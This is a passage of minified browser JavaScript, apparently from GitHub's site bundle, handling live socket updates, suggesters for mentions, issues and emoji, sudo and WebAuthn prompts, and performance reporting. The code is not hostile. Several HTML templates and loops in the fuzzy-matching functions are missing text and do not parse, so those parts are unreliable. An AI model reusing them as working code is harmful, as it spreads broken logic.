hr(t,n,!1,gr)},"createSession")(),a=(0,k.g)(w=>i.subscribe(w.flat())),l=(0,k.g)(w=>i.unsubscribeAll(...w)),y=(0,k.g)(w=>i.updatePresenceMetadata(w));(0,u.N7)(".js-socket-channel[data-channel]",{subscribe:w=>{const S=Qa(w),R=S.map(F=>F.topic.name).filter(F=>(0,_e.A)(F));let I={unsubscribe(){}};if(R.length){let F,X;const oe=s(()=>{const Q=[];F&&Q.push(F),X!==void 0&&Q.push({[_e.ZE]:X?1:0});for(const se of R)y({subscriber:w,channelName:se,metadata:Q})},"queueMetadataOrIdleChange");I=(0,M.qC)((0,M.RB)(w,"socket:set-presence-metadata",Q=>{const{detail:se}=Q;F=se,oe()}),Ka(Q=>{!(0,U.c)("PRESENCE_IDLE")||(X=Q,oe())}))}return a(S),I},remove:w=>l(w)}),window.addEventListener("online",()=>i.online()),window.addEventListener("offline",()=>i.offline()),window.addEventListener("pagehide",()=>{"hangup"in i&&i.hangup()})}s(ec,"connect"),(async()=>(await me.x,ec()))();const yr=new Map;function tc(e,t){const n=[];for(const o of e){const r=yr.get(o.name);r&&r.arrived>t&&n.push(r)}return n}s(tc,"stale");function nc(e,t){for(const n of e.querySelectorAll(".js-socket-channel[data-channel]"))for(const o of tc(pr(n),t))n.dispatchEvent(new CustomEvent("socket:message",{bubbles:!1,cancelable:!1,detail:{name:o.name,data:o.data,cached:!0}}))}s(nc,"dispatch");function oc(e){const{name:t,data:n,cached:o}=e.detail;if(o)return;const r={name:t,data:{...n},arrived:Date.now()};r.data.wait=0,yr.set(t,r)}s(oc,"store"),document.addEventListener("socket:message",oc,{capture:!0}),document.addEventListener("pjax:popstate",function(e){const t=e.target,n=e.detail.cachedAt;n&&setTimeout(()=>nc(t,n))}),(0,u.N7)("form.js-auto-replay-enforced-sso-request",{constructor:HTMLFormElement,initialize(e){(0,L.Bt)(e)}});var uu=f(41928);function vr(e,t,n){const o=e.getBoundingClientRect().height,r=t.getBoundingClientRect(),i=n.getBoundingClientRect();let a=i.top;a+r.height+10>=o&&(a=Math.max(o-r.height-10,0));let l=i.right;n.closest(".js-build-status-to-the-left")!=null&&(l=Math.max(i.left-r.width-10,0)),t.style.top=`${a}px`,t.style.left=`${l}px`,t.style.right="auto"}s(vr,"updateStatusPosition"),(0,c.on)("toggle",".js-build-status .js-dropdown-details",function(e){const t=e.currentTarget,n=t.querySelector(".js-status-dropdown-menu");if(!n)return;function o(){t.hasAttribute("open")||i()}s(o,"closeOnToggle");function r(a){n.contains(a.target)||i()}s(r,"closeOnScroll");function i(){t.removeAttribute("open"),n.classList.add("d-none"),t.appendChild(n),t.removeEventListener("toggle",o),window.removeEventListener("scroll",r)}s(i,"closeStatusPopover"),t.addEventListener("toggle",o),n.classList.contains("js-close-menu-on-scroll")&&window.addEventListener("scroll",r,{capture:!0}),n.classList.remove("d-none"),n.querySelector(".js-details-container").classList.add("open"),n.classList.contains("js-append-menu-to-body")&&(document.body.appendChild(n),vr(document.body,n,t))},{capture:!0});async function wr(e){const t=e.querySelector(".js-dropdown-details"),n=e.querySelector(".js-status-dropdown-menu")||e.closest(".js-status-dropdown-menu");if(!(n instanceof HTMLElement))return;const o=n.querySelector(".js-status-loader");if(!o)return;const r=n.querySelector(".js-status-loading"),i=n.querySelector(".js-status-error"),a=o.getAttribute("data-contents-url");r.classList.remove("d-none"),i.classList.add("d-none");let l;try{await(0,en.Z)(),l=await(0,pe.a)(document,a)}catch{r.classList.add("d-none"),i.classList.remove("d-none")}l&&(o.replaceWith(l),n.querySelector(".js-details-container").classList.add("open"),t&&n.classList.contains("js-append-menu-to-body")&&vr(document.body,n,t))}s(wr,"loadStatus"),(0,c.on)("click",".js-status-retry",({currentTarget:e})=>{wr(e)});function Er(e){const t=e.currentTarget;wr(t)}s(Er,"onMouseEnter"),(0,u.N7)(".js-build-status",{add(e){e.addEventListener("mouseenter",Er,{once:!0})},remove(e){e.removeEventListener("mouseenter",Er)}});var du=f(55898),rc=f(82841);(0,c.on)("click","button[data-sudo-required], summary[data-sudo-required]",Lr),(0,u.N7)("form[data-sudo-required]",{constructor:HTMLFormElement,subscribe:e=>(0,M.RB)(e,"submit",Lr)});async function Lr(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;e.stopPropagation(),e.preventDefault(),await(0,rc.Z)()&&(t.removeAttribute("data-sudo-required"),t instanceof HTMLFormElement?(0,L.Bt)(t):t.click())}s(Lr,"checkSudo");const jr={"actor:":"ul.js-user-suggestions","user:":"ul.js-user-suggestions","operation:":"ul.js-operation-suggestions","org:":"ul.js-org-suggestions","action:":"ul.js-action-suggestions","repo:":"ul.js-repo-suggestions","country:":"ul.js-country-suggestions"};(0,u.N7)("text-expander[data-audit-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",ic),(0,M.RB)(e,"text-expander-value",sc))});function sc(e){const t=e.detail;if(!Sr(t.key))return;const n=t.item.getAttribute("data-value");t.value=`${t.key}${n}`}s(sc,"onvalue");function ic(e){const{key:t,provide:n,text:o}=e.detail;if(!Sr(t))return;const i=e.target.getAttribute("data-audit-url");n(lc(i,t,o))}s(ic,"onchange");function ac(e,t){const n=t.toLowerCase(),o=s(r=>{const i=r.textContent.toLowerCase().trim(),a=(0,ge.EW)(i,n);return a>0?{score:a,text:i}:null},"key");return n?(0,Ge.W)(e,o,ge.qu):e}s(ac,"search");const cc=(0,qe.Z)(e=>[...e.children],{hash:e=>e.className});async function lc(e,t,n){const r=(await fc(e)).querySelector(uc(t));if(!r)return{matched:!1};const i=ac(cc(r),n).slice(0,5),a=r.cloneNode(!1);a.innerHTML="";for(const l of i)a.append(l);return{fragment:a,matched:i.length>0}}s(lc,"auditMenu");function Sr(e){return Object.getOwnPropertyNames(jr).includes(e)}s(Sr,"isActivationKey");function uc(e){const t=jr[e];if(!t)throw new Error(`Unknown audit log expander key: ${e}`);return t}s(uc,"audit_log_suggester_selector");async function dc(e){const t=await(0,pe.a)(document,e),n=document.createElement("div");return n.append(t),n}s(dc,"fetchMenu");const fc=(0,qe.Z)(dc);function mc(e){if(e.hasAttribute("data-use-colon-emoji"))return e.getAttribute("data-value");const t=e.firstElementChild;return t&&t.tagName==="G-EMOJI"&&!t.firstElementChild?t.textContent:e.getAttribute("data-value")}s(mc,"getValue");function hc(e,t){const n=` ${t.toLowerCase().replace(/_/g," ")}`,o=s(r=>{const i=r.getAttribute("data-emoji-name"),a=gc(pc(r),n);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(hc,"emoji_suggester_search");function pc(e){return` ${e.getAttribute("data-text").trim().toLowerCase().replace(/_/g," ")}`}s(pc,"emojiText");function gc(e,t){const n=e.indexOf(t);return n>-1?1e3-n:0}s(gc,"emojiScore"),(0,u.N7)("text-expander[data-emoji-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",yc),(0,M.RB)(e,"text-expander-value",bc))});function bc(e){const t=e.detail;t.key===":"&&(t.value=mc(t.item))}s(bc,"emoji_suggester_onvalue");function yc(e){const{key:t,provide:n,text:o}=e.detail;if(t!==":")return;const i=e.target.getAttribute("data-emoji-url");n(vc(i,o))}s(yc,"emoji_suggester_onchange");async function vc(e,t){const[n,o]=await Ec(e),r=hc(o,t).slice(0,5);n.innerHTML="";for(const i of r)n.append(i);return{fragment:n,matched:r.length>0}}s(vc,"emojiMenu");async function wc(e){const n=(await(0,pe.a)(document,e)).firstElementChild;return[n,[...n.children]]}s(wc,"fetchEmoji");const Ec=(0,qe.Z)(wc);var Pe=f(38772);function Lc(e){return`${e.number} ${e.title.trim().toLowerCase()}`}s(Lc,"asText");function jc(e,t){if(!t)return e;const n=new RegExp(`\\b${Sc(t)}`),o=/^\d+$/.test(t)?i=>Tc(i,n):i=>(0,ge.EW)(i,t),r=s(i=>{const a=Lc(i),l=o(a);return l>0?{score:l,text:a}:null},"key");return(0,Ge.W)(e,r,ge.qu)}s(jc,"issue_suggester_search");function Sc(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}s(Sc,"escapeRegExp");function Tc(e,t){const n=e.search(t);return n>-1?1e3-n:0}s(Tc,"issueNumberScore");function Ac(e,t,n){const o=s(i=>Pe.dy` +
      + ${i.map(r)} +
    + `,"itemsTemplate"),r=s(i=>{const a=i.type in n?(0,q.r)(document,n[i.type]):"";return Pe.dy` +
  • + ${a} + #${i.number} ${(0,Pe.Au)(i.title)} +
  • + `},"itemTemplate");(0,Pe.sY)(o(e),t)}s(Ac,"renderResults"),(0,u.N7)("text-expander[data-issue-url]",{subscribe:e=>{const t=[(0,M.RB)(e,"text-expander-change",kc),(0,M.RB)(e,"text-expander-value",Cc),(0,M.RB)(e,"keydown",Mc),(0,M.RB)(e,"click",xc)];return(0,M.qC)(...t)}});function Cc(e){const t=e.detail;if(t.key!=="#")return;const n=t.item.getAttribute("data-value");t.value=`#${n}`}s(Cc,"issue_suggester_onvalue");function kc(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="#")return;if(o==="#"){An(e.target);return}const i=e.target.getAttribute("data-issue-url");n(qc(i,o))}s(kc,"issue_suggester_onchange");function An(e){if(!e)return;const t=e.closest("text-expander");t&&t.dismiss()}s(An,"hideSuggestions");function xc(e){An(e.target)}s(xc,"issue_suggester_onclick");function Mc(e){const t=["ArrowRight","ArrowLeft"],{key:n}=e;t.indexOf(n)<0||An(e.target)}s(Mc,"issue_suggester_onkeydown");async function qc(e,t){const n=await Rc(e),o=document.createElement("div"),r=jc(n.suggestions,t).slice(0,5);return Ac(r,o,n.icons),{fragment:o.firstElementChild,matched:r.length>0}}s(qc,"issueMenu");const Rc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function _c(e){return e.description?`${e.name} ${e.description}`.trim().toLowerCase():`${e.login} ${e.name}`.trim().toLowerCase()}s(_c,"mention_suggester_asText");function Pc(e,t){if(!t)return e;const n=Dc(t),o=s(r=>{const i=_c(r),a=n(i,r.participant);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(Pc,"mention_suggester_search");function Ic(e,t){const n=s(r=>Pe.dy` +
      + ${r.map(o)} +
    + `,"itemsTemplate"),o=s(r=>{const i=r.type==="user"?r.login:r.name,a=r.type==="user"?r.name:r.description;return Pe.dy` +
  • + ${i} + ${a} +
  • + `},"itemTemplate");(0,Pe.sY)(n(e),t)}s(Ic,"mention_suggester_renderResults");function Dc(e){if(!e)return()=>2;const t=e.toLowerCase().split("");return(n,o)=>{if(!n)return 0;const r=Hc(n,t);if(!r)return 0;const a=e.length/r[1]/(r[0]/2+1);return o?a+1:a}}s(Dc,"fuzzyScorer");function Hc(e,t){let n,o,r,i;const a=Oc(e,t[0]);if(a.length===0)return null;if(t.length===1)return[a[0],1,[]];for(i=null,o=0,r=a.length;o-1;)o.push(n++);return o}s(Oc,"allIndexesOf");function Nc(e,t,n){let o=n;const r=[];for(let i=1;i(0,M.qC)((0,M.RB)(e,"text-expander-change",$c),(0,M.RB)(e,"text-expander-value",Bc))});function Bc(e){const t=e.detail;if(t.key!=="@")return;const n=t.item.getAttribute("data-value");t.value=`@${n}`}s(Bc,"mention_suggester_onvalue");function $c(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="@"||(o==null?void 0:o.split(" ").length)>1)return;const i=e.target.getAttribute("data-mention-url");n(Fc(i,o))}s($c,"mention_suggester_onchange");async function Fc(e,t){const n=await Uc(e),o=document.createElement("div"),r=Pc(n,t).slice(0,5);return Ic(r,o),{fragment:o.firstElementChild,matched:r.length>0}}s(Fc,"mentionMenu");const Uc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function Wc(e,t){const n=e.closest(".js-survey-question-form"),o=n.querySelector("input.js-survey-other-text"),r=t&&!n.classList.contains("is-other-selected");n.classList.toggle("is-other-selected",r),o.hidden=!t,r?(o.required=!0,o.focus()):o.required=!1,(0,c.f)(o,"change")}s(Wc,"handleOther"),(0,c.on)("change","input.js-survey-radio",function({currentTarget:e}){Wc(e,e.classList.contains("js-survey-radio-other"))}),(0,c.on)("change","input.js-survey-checkbox-enable-submit",function({currentTarget:e}){var t;const n=e.checked,o=(t=e.closest("form"))==null?void 0:t.querySelector("button[type=submit]");o.disabled=!n}),(0,c.on)("change","input.js-survey-contact-checkbox",function(e){const t=e.currentTarget,o=t.closest(".js-survey-question-form").querySelector(".js-survey-contact-checkbox-hidden");t.checked?o.setAttribute("disabled","true"):o.removeAttribute("disabled")}),(0,c.on)("details-menu-selected",".js-sync-select-menu-text",function(e){const t=document.querySelector(".js-sync-select-menu-button"),n=e.detail.relatedTarget.querySelector("span[data-menu-button-text]").textContent;t.textContent=n,t.focus()},{capture:!0}),(0,c.on)("click",'tab-container [role="tab"]',function(e){const{currentTarget:t}=e,o=t.closest("tab-container").querySelector(".js-filterable-field, [data-filter-placeholder-input]");if(o instanceof HTMLInputElement){const r=t.getAttribute("data-filter-placeholder");r&&o.setAttribute("placeholder",r),o.focus()}}),(0,c.on)("tab-container-changed","tab-container",function(e){const t=e.detail.relatedTarget,n=t.getAttribute("data-fragment-url"),o=t.querySelector("include-fragment");n&&o&&!o.hasAttribute("src")&&(o.src=n)});var fu=f(32222),Tr=f(96776);document.addEventListener("keydown",e=>{if(e.key!=="Escape"||e.target!==document.body)return;const t=document.querySelector(".js-targetable-element:target");!t||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)})}),document.addEventListener("click",e=>{const t=document.querySelector(".js-targetable-element:target");!t||e.target instanceof HTMLAnchorElement||e.target instanceof HTMLElement&&(t.contains(e.target)||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)}))});var mu=f(72669);async function zc(e){const t=e.currentTarget;if(Vc(t)){t.classList.remove("tooltipped");return}const n=t.getAttribute("data-url");if(!n)return;const o=await fetch(n,{headers:{Accept:"application/json"}});if(!o.ok)return;const r=await o.json(),i=t.getAttribute("data-id"),a=document.querySelectorAll(`.js-team-mention[data-id='${i}']`);for(const l of a)l.removeAttribute("data-url");try{r.total===0?r.members.push("This team has no members"):r.total>r.members.length&&r.members.push(`${r.total-r.members.length} more`),Ar(a,Kc(r.members))}catch(l){const y=l.response?l.response.status:500,w=t.getAttribute(y===404?"data-permission-text":"data-error-text");Ar(a,w)}}s(zc,"members");function Ar(e,t){for(const n of e)n instanceof HTMLElement&&(n.setAttribute("aria-label",t),n.classList.add("tooltipped","tooltipped-s","tooltipped-multiline"))}s(Ar,"tip");function Kc(e){if("ListFormat"in Intl)return new Intl.ListFormat().format(e);if(e.length===0)return"";if(e.length===1)return e[0];if(e.length===2)return e.join(" and ");{const t=e[e.length-1];return e.slice(0,-1).concat(`and ${t}`).join(", ")}}s(Kc,"sentence");function Vc(e){return!!e.getAttribute("data-hovercard-url")&&!!e.closest("[data-team-hovercards-enabled]")}s(Vc,"teamHovercardEnabled"),(0,u.N7)(".js-team-mention",function(e){e.addEventListener("mouseenter",zc)});function Xc(){const e=document.querySelector(".js-timeline-marker");return e!=null?e.getAttribute("data-last-modified"):null}s(Xc,"getTimelineLastModified");function Cr(e){if(Zc(e)||Gc(e))return;const t=Xc();t&&e.headers.set("X-Timeline-Last-Modified",t)}s(Cr,"addTimelineLastModifiedHeader");function Gc(e){return e.headers.get("X-PJAX")==="true"}s(Gc,"isPjax");function Zc(e){let t;try{t=new URL(e.url)}catch{return!0}return t.host!==window.location.host}s(Zc,"isCrossDomain"),(0,C.AC)(".js-needs-timeline-marker-header",function(e,t,n){Cr(n)}),(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){const{request:t}=e.detail;Cr(t)});const kr=5e3,Jc=".js-comment-body img",Qc=".js-comment-body video";(0,Xt.Z)(function(){St()}),(0,u.N7)(".js-timeline-progressive-focus-container",function(e){const t=Tt();if(!t||document.querySelector(".js-pull-discussion-timeline"))return;const o=document.getElementById(t);o&&e.contains(o)&&Cn(o)});function St(e=!0){const t=Tt();if(!t)return;const n=document.getElementById(t);if(n)Cn(n);else{if(Yc(t))return;const o=document.querySelector("#js-timeline-progressive-loader");o&&e&&qr(t,o)}}s(St,"focusOrLoadElement");function Yc(e){return el(e)||xr(e,".js-thread-hidden-comment-ids")||xr(e,".js-review-hidden-comment-ids")}s(Yc,"loadComments");function el(e){const t=Mr(e,".js-comment-container");return t?((0,Gt.$)(t),!0):!1}s(el,"loadResolvedComments");function xr(e,t){const n=Mr(e,t);return n?(n.addEventListener("page:loaded",function(){St()}),n.querySelector("button[type=submit]").click(),!0):!1}s(xr,"loadHiddenComments");function Mr(e,t){var n;const o=document.querySelectorAll(t);for(const r of o){const i=r.getAttribute("data-hidden-comment-ids");if(i){const a=i.split(","),l=(n=e.match(/\d+/g))==null?void 0:n[0];if(l&&a.includes(l))return r}}return null}s(Mr,"findCommentContainer"),(0,u.N7)(".js-inline-comments-container",function(e){const t=Tt();if(!t)return;const n=document.getElementById(t);n&&e.contains(n)&&Cn(n)}),(0,u.N7)("#js-discussions-timeline-anchor-loader",{constructor:HTMLElement,add:e=>{if(document.querySelector("#js-timeline-progressive-loader"))return;const n=Tt();if(!n)return;document.getElementById(n)||qr(n,e)}});async function tl(){const e=document.querySelectorAll(Qc),t=Array.from(e).map(n=>new Promise(o=>{if(n.readyState>=n.HAVE_METADATA)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("loadeddata",()=>{n.readyState>=n.HAVE_METADATA&&i()}),n.addEventListener("error",()=>i())}}));return Promise.all(t)}s(tl,"videosReady");async function nl(){const e=document.querySelectorAll(Jc),t=Array.from(e).map(n=>{new Promise(o=>{if(n.complete)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("load",()=>i()),n.addEventListener("error",()=>i())}})});return Promise.all(t)}s(nl,"imagesReady");async function ol(){return Promise.all([tl(),nl()])}s(ol,"mediaLoaded");async function Cn(e){await ol(),rl(e);const t=e.querySelector(`[href='#${e.id}']`);if(t){const n=t.getAttribute("data-turbo");t.setAttribute("data-turbo","false"),t.click(),n===null?t.removeAttribute("data-turbo"):t.setAttribute("data-turbo",n)}}s(Cn,"focusElement");async function qr(e,t){if(!t)return;const n=t.getAttribute("data-timeline-item-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search.slice(1));r.append("anchor",e),o.search=r.toString();let i;try{i=await(0,pe.a)(document,o.toString())}catch{return}const a=i.querySelector(".js-timeline-item");if(!a)return;const l=a.getAttribute("data-gid");if(!l)return;const y=document.querySelector(`.js-timeline-item[data-gid='${l}']`);if(y)y.replaceWith(a),St(!1);else{const w=document.getElementById("js-progressive-timeline-item-container");w&&w.replaceWith(i),St(!1)}}s(qr,"loadElement");function rl(e){const t=e.closest("details, .js-details-container");!t||(t.nodeName==="DETAILS"?t.setAttribute("open","open"):(0,Vt.jo)(t)||(0,Vt.Qp)(t))}s(rl,"expandDetailsIfPresent");function Tt(){return window.location.hash.slice(1)}s(Tt,"urlAnchor"),(0,u.N7)(".js-discussion",sl);function sl(){let e=new WeakSet;t(),document.addEventListener("pjax:end",t),document.addEventListener("turbo:load",t),(0,u.N7)(".js-timeline-item",n=>{n instanceof HTMLElement&&(e.has(n)||(0,h.N)(n))});function t(){e=new WeakSet(document.querySelectorAll(".js-timeline-item"))}s(t,"setExistingTimelineItems")}s(sl,"announceTimelineEvents");var Qe=f(82131);function Ye(e){const{name:t,value:n}=e,o={name:window.location.href};switch(t){case"CLS":o.cls=n;break;case"FCP":o.fcp=n;break;case"FID":o.fid=n;break;case"LCP":o.lcp=n;break;case"TTFB":o.ttfb=n;break}(0,he.b)({webVitalTimings:[o]}),il(t,n)}s(Ye,"sendVitals");function il(e,t){const n=document.querySelector("#staff-bar-web-vitals"),o=n==null?void 0:n.querySelector(`[data-metric=${e.toLowerCase()}]`);!o||(o.textContent=t.toPrecision(6))}s(il,"updateStaffBar");function al(){return!!(window.performance&&window.performance.timing&&window.performance.getEntriesByType)}s(al,"isTimingSuppported");async function cl(){if(!al())return;await me.C,await new Promise(n=>setTimeout(n));const e=window.performance.getEntriesByType("resource");e.length&&(0,he.b)({resourceTimings:e});const t=window.performance.getEntriesByType("navigation");t.length&&(0,he.b)({navigationTimings:t})}s(cl,"sendTimingResults"),cl(),(0,Qe.kz)(Ye),(0,Qe.Y)(Ye),(0,Qe.Tx)(Ye),(0,Qe.Tb)(Ye),(0,Qe.CA)(Ye),(0,c.on)("click",".js-toggler-container .js-toggler-target",function(e){if(e.button!==0)return;const t=e.currentTarget.closest(".js-toggler-container");t&&t.classList.toggle("on")}),(0,C.AC)(".js-toggler-container",async(e,t)=>{e.classList.remove("success","error"),e.classList.add("loading");try{await t.text(),e.classList.add("success")}catch{e.classList.add("error")}finally{e.classList.remove("loading")}}),async function(){var e;if("serviceWorker"in navigator){await me.x;const t=(e=document.querySelector('link[rel="service-worker-src"]'))==null?void 0:e.href;t?navigator.serviceWorker.register(t,{scope:"/"}):await ll()}}();async function ll(){let e=[];try{e=await navigator.serviceWorker.getRegistrations()}catch(t){if(t.name==="SecurityError")return}for(const t of e)t.unregister()}if(s(ll,"unregisterAllServiceWorkers"),(0,U.c)("TURBO")){const e={},t=s(S=>{var R;const I=S.querySelector("[data-turbo-head]")||S.head;return{title:(R=I.querySelector("title"))==null?void 0:R.textContent,scripts:[...S.querySelectorAll("script")],stylesheets:[...S.querySelectorAll("link[rel=stylesheet]")],transients:[...I.querySelectorAll("[data-pjax-transient]")]}},"getTurboCacheNode");(async()=>(await me.x,e[document.location.href]=t(document)))();let n,o=!1;document.addEventListener("turbo:visit",S=>{S instanceof CustomEvent&&(n=S.detail.url)}),document.addEventListener("turbo:before-fetch-response",async S=>{if(!(0,Wo.H)(S.target))return;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");r(I)}),document.addEventListener("turbo:frame-render",async S=>{o=!0;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");i(I),e[n]=t(I)}),document.addEventListener(Se.QE.SUCCESS,()=>{!o||(o=!1,a(),l(),y(),w(),document.dispatchEvent(new CustomEvent(Se.QE.FRAME_UPDATE)))});const r=s(S=>{var R;const I=(R=S.querySelector("meta[name=turbo-body-classes]"))==null?void 0:R.content;!I||document.body.setAttribute("class",I)},"replaceBodyClasses"),i=s(S=>{const R=S.querySelectorAll("[data-turbo-replace]"),I=[...document.querySelectorAll("[data-turbo-replace]")];for(const F of R){const X=I.find(oe=>oe.id===F.id);X&&X.replaceWith(F)}},"replaceElements"),a=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.title;R&&(document.title=R)},"replaceTitle"),l=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.transients;if(!!R){for(const I of document.querySelectorAll("head [data-pjax-transient]"))I.remove();for(const I of R)I.matches("title, script, link[rel=stylesheet]")||(I.setAttribute("data-pjax-transient",""),document.head.append(I))}},"replaceTransientTags"),y=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.stylesheets;if(!!R)for(const I of R)document.head.querySelector(`link[href="${I.getAttribute("href")}"], + link[data-href="${I.getAttribute("data-href")}"]`)||document.head.append(I)},"addNewStylesheets"),w=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.scripts;if(!!R)for(const I of R)document.head.querySelector(`script[src="${I.getAttribute("src")}"]`)||document.head.append(I)},"addNewScripts")}function ul(){if("Intl"in window)try{return new window.Intl.DateTimeFormat().resolvedOptions().timeZone}catch{}}s(ul,"timezone"),window.requestIdleCallback(()=>{const e=ul();e&&(0,Ve.d8)("tz",encodeURIComponent(e))});var J=f(90420),Rr=f(70112),dl=Object.defineProperty,fl=Object.getOwnPropertyDescriptor,re=s((e,t,n,o)=>{for(var r=o>1?void 0:o?fl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&dl(t,n,r),r},"__decorateClass"),ml=(e=>(e.Initializing="initializing",e.Unsupported="unsupported",e.Ready="ready",e.Waiting="waiting",e.Error="error",e.Submitting="submitting",e))(ml||{});let be=s(class extends HTMLElement{constructor(){super(...arguments);this.state="initializing",this.json="",this.autofocusWhenReady=!1,this.autoPrompt=!1,this.hasErrored=!1}connectedCallback(){this.originalButtonText=this.button.textContent,this.setState((0,Rr.Zh)()?"ready":"unsupported"),this.autoPrompt&&this.prompt(void 0,!0)}setState(e){this.button.textContent=this.hasErrored?this.button.getAttribute("data-retry-message"):this.originalButtonText,this.button.disabled=!1,this.button.hidden=!1;for(const t of this.messages)t.hidden=!0;switch(e){case"initializing":this.button.disabled=!0;break;case"unsupported":this.button.disabled=!0,this.unsupportedMessage.hidden=!1;break;case"ready":this.autofocusWhenReady&&this.button.focus();break;case"waiting":this.waitingMessage.hidden=!1,this.button.hidden=!0;break;case"error":this.errorMessage.hidden=!1;break;case"submitting":this.button.textContent="Verifying\u2026",this.button.disabled=!0;break;default:throw new Error("invalid state")}this.state=e}async prompt(e,t){e==null||e.preventDefault(),this.dispatchEvent(new CustomEvent("webauthn-get-prompt"));try{t||this.setState("waiting");const n=JSON.parse(this.json),o=await(0,Rr.U2)(n);this.setState("submitting");const r=this.closest(".js-webauthn-form"),i=r.querySelector(".js-webauthn-response");i.value=JSON.stringify(o),(0,L.Bt)(r)}catch(n){if(!t)throw this.hasErrored=!0,this.setState("error"),n}}},"WebauthnGetElement");re([J.fA],be.prototype,"button",2),re([J.GO],be.prototype,"messages",2),re([J.fA],be.prototype,"unsupportedMessage",2),re([J.fA],be.prototype,"waitingMessage",2),re([J.fA],be.prototype,"errorMessage",2),re([J.Lj],be.prototype,"json",2),re([J.Lj],be.prototype,"autofocusWhenReady",2),re([J.Lj],be.prototype,"autoPrompt",2),be=re([J.Ih],be);var hl=(e=>(e.Initializing="initializing",e.ShowingForm="showing-form",e.ShowingRevealer="showing-revealer",e))(hl||{});let We=s(class extends HTMLElement{constructor(){super(...arguments);this.state="showing-form"}connectedCallback(){this.setState(this.state)}setState(e){switch(this.revealer.hidden=!0,this.form.hidden=!1,e){case"initializing":break;case"showing-form":this.dispatchEvent(new CustomEvent("sudo-password-showing-form"));break;case"showing-revealer":this.revealer.hidden=!1,this.form.hidden=!0;break;default:throw new Error("invalid state")}this.state=e}reveal(){this.setState("showing-form")}},"SudoPasswordElement");re([J.Lj],We.prototype,"state",2),re([J.fA],We.prototype,"revealer",2),re([J.fA],We.prototype,"form",2),re([J.fA],We.prototype,"passwordField",2),We=re([J.Ih],We);let At=s(class extends HTMLElement{connectedCallback(){var e;(e=this.webauthnGet)==null||e.addEventListener("webauthn-get-prompt",()=>{this.sudoPassword.setState("showing-revealer")}),this.sudoPassword.addEventListener("sudo-password-showing-form",()=>{var t;(t=this.webauthnGet)==null||t.setState("ready"),this.sudoPassword.passwordField.focus()})}},"SudoAuthElement");re([J.fA],At.prototype,"webauthnGet",2),re([J.fA],At.prototype,"sudoPassword",2),At=re([J.Ih],At);let kn=0;function pl(){if(!document.hasFocus())return;const e=document.querySelector(".js-timeline-marker-form");e&&e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(pl,"markThreadAsRead");const Ct="IntersectionObserver"in window?new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&_r(t.target)},{root:null,rootMargin:"0px",threshold:1}):null;(0,u.N7)(".js-unread-item",{constructor:HTMLElement,add(e){kn++,Ct&&Ct.observe(e)},remove(e){kn--,Ct&&Ct.unobserve(e),kn===0&&pl()}});function _r(e){e.classList.remove("js-unread-item","unread-item")}s(_r,"clearUnread"),(0,u.N7)(".js-discussion[data-channel-target]",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const n=t.target,o=t.detail.data;if(n.getAttribute("data-channel-target")===o.gid)for(const r of document.querySelectorAll(".js-unread-item"))_r(r)})});let kt=0;const Pr=/^\(\d+\)\s+/;function Ir(){const e=kt?`(${kt}) `:"";document.title.match(Pr)?document.title=document.title.replace(Pr,e):document.title=`${e}${document.title}`}s(Ir,"updateTitle"),(0,u.N7)(".js-unread-item",{add(){kt++,Ir()},remove(){kt--,Ir()}}),(0,u.N7)(".js-socket-channel.js-updatable-content",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const{gid:n,wait:o}=t.detail.data,r=t.target,i=n?gl(r,n):r;i&&setTimeout(Me.x0,o||0,i)})});function gl(e,t){if(e.getAttribute("data-gid")===t)return e;for(const n of e.querySelectorAll("[data-url][data-gid]"))if(n.getAttribute("data-gid")===t)return n;return null}s(gl,"findByGid");async function bl(){if(!(!history.state||!history.state.staleRecords)){await me.x;for(const e in history.state.staleRecords)for(const t of document.querySelectorAll(`.js-updatable-content [data-url='${e}'], .js-updatable-content[data-url='${e}']`)){const n=history.state.staleRecords[e];t instanceof 